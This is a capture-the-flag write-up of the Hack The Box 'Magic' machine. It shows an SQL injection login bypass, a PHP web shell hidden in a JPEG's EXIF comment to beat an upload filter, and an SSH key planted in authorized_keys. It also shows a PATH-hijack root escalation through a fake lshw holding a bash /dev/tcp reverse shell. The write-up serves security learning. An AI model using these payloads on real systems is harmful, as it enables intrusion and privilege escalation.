Hack the Box — Magic Writeup

Fahmi J
6 min readMay 1, 2020

Magic is a medium difficulty Linux box that features a php-based web application which is vulnerable to SQL injection for login bypass. Embedding a web shell to a valid image and double its extension bypasses the upload filter of the application. With that web shell, I’m able to gain a foothold on the system and obtain database credentials which can be used to dump passwords that is reused by a user on the box. For the root part, there’s a SUID binary that calls other binaries without their absolute path, allowing me to perform a path hijackattack and gain root access.



→ root@iamf «magic» «»
$ nmap -sC -sV -oA scans/magic
... <snip> ...
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
... <snip> ...

nmap found two ports open, an HTTP service on port 80 and SSH service on port 22

TCP 80 — Website

The website homepage shows a bunch of images. There is a login button that points to /login.php at the bottom of the page.

By clicking “Views image”, I know some images located on /images/uploads and some others on /images/fulls.

Common credentials don’t seem to work here.

— :: SQL injection — Bypass Login

The login form doesn’t allows spacing between character, but it can be tricked by copy and paste.

A basic SQL injection technique ' or 1 = 1 -- - for login bypass is work against the login page.

In MySQL, a space after a comment is a must -- [space], because of that I added -- - to make it clear.

We can assume the back-end query would look like this:

SELECT username, password from table.user where username='$username' and password='$pwd'

If I assign ' or 1 = 1 -- - as value of $username, it becomes:

SELECT username, password from table.user where username='' or 1 = 1 -- -' and password = '$password'


Bypass Upload Feature

Upon a successful login, the site redirects me to /upload.php. It shows up with an upload form that only allows me to upload a valid image file.

After some testing, I can bypass this upload filter by embedding my web shell in an image file (I took one from the web itself). This can be done by using exiftool.

→ root@iamf «forest» «»
$ ./exiftool -Comment=’<?php echo “<pre>”; system($_GET[‘cmd’]); ?>’ iamf.jpg

I added .php extension right before the image extension (in my case it is .jpg, so it becomes filename.php.jpg). Back to /upload.php, now it accepts the file.

The uploaded file located in http://htb.magic/images/uploads/. When I visit http://htb.magic/images/uploads/iamf.php.jpg?cmd=pwd, I can see the code execution is working


Reverse Shell

The machine has Python3 installed. With that, I can send a Python one liner reverse shell and set up a listener on port 443.

I’ll enter this URL on the browser.


Now on my listener, it caught the shell

→ root@iamf «magic» «»
$ nc -nvlp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 19448
bash: cannot set terminal process group (1327): Inappropriate ioctl for device
bash: no job control in this shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Internal enumeration

I discovered a database configuration db.php5 that stores credentials after enumerating the current working directory with the find command.

$ find . -type f -user www-data...<snip>...

Database dump

Unfortunately, the mysql binary is not present in the box.

Instead, I could use mysqldump to dump the database.

I spotted a username and a password like while looking over the output.

www-data@ubuntu:/var/www/Magic$ mysqldump Magic -u theseus -p'iamkingtheseus'
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;

Shell as theseus

The password is reused by user theseus.

www-data@ubuntu:/var/www/Magic$ su theseus

Before enumeration, I would like to switch to SSH.

First, I’ll generate a new ssh key.

→ root@iamf «magic» «»
$ ssh-keygen -f theseus

Then, I’ll add the newly generated public key to theseus’s authorized_keys file.

theseus@ubuntu:~/.ssh$ echo 'ssh-rsa AAABBBCCCDDD' >> authorized_keys

Now I can log in via SSH as theseus.

→ root@iamf «magic» «»
$ ssh -i theseus@

Finding SUID

Upon enumerating for SUID, there’s a binary that doesn’t seem a common SUID on Ubuntu.

theseus@ubuntu:~$ find / -perm -u=s -type f 2>/dev/null

The sysinfo binary is owned by root, but it can be executed by the users group and theseus is a member of that group.

theseus@ubuntu:~$ ls -las /bin | grep sysinfo
24 -rwsr-x--- 1 root users 22040 Oct 21 2019 sysinfo
theseus@ubuntu:~$ id
uid=1000(theseus) gid=1000(theseus) groups=100(users),1000(theseus)

I executed the binary and it returns some hardware information on screen that looks similar to lshw, free and other binary related to hardware info. A quick search on Google shows this:

Notice that it is the same header

Running strings against sysinfo reveals it calls lshw, free, fdisk and some other bins without their absolute path. (I don’t have the screenshots to show what it looks like, also can’t find the logs on my notes, sorry)

  • Absolute path: /bin/sysinfo –> fixed path, can not be modified except global write access is permitted. (cmiiw)
  • Relative path: sysinfo –> resolved by user’s env, can be modified

Path Hijacking on SUID

Knowing the SUID binary uses relative path to call other binaries, I could abuse this by creating, for example, a fake lshw binary that contains a reverse shell.

First, I’ll create a fake lshw in /tmp/iamf folder and append one liner bash reverse shell.

theseus@ubuntu:/tmp$ mkdir iamf;cd iamf;
theseus@ubuntu:/tmp$ which lshw

Next, I’ll export /tmp/iamf to environment variable $PATH. Now If I call lshw, the OS will resolve it to the one on /tmp/iamf.

theseus@ubuntu:/tmp$ echo -e '#!/bin/sh bash -i >& /dev/tcp/ 0>&1' > iamf/lshw
theseus@ubuntu:/tmp$ export PATH=/tmp/iamf:$PATH
theseus@ubuntu:/tmp$ which lshw

After that, I can just execute the sysinfo binary and it will just hang.

theseus@ubuntu:/tmp$ sysinfo
====================Hardware Info====================

That because it was pwned on my listener

→ root@iamf «magic» «»
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [] from (UNKNOWN) [] 36094
root@ubuntu:/tmp/iamf# id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)



Fahmi J

Just curious to learn how things work, especially in digital world.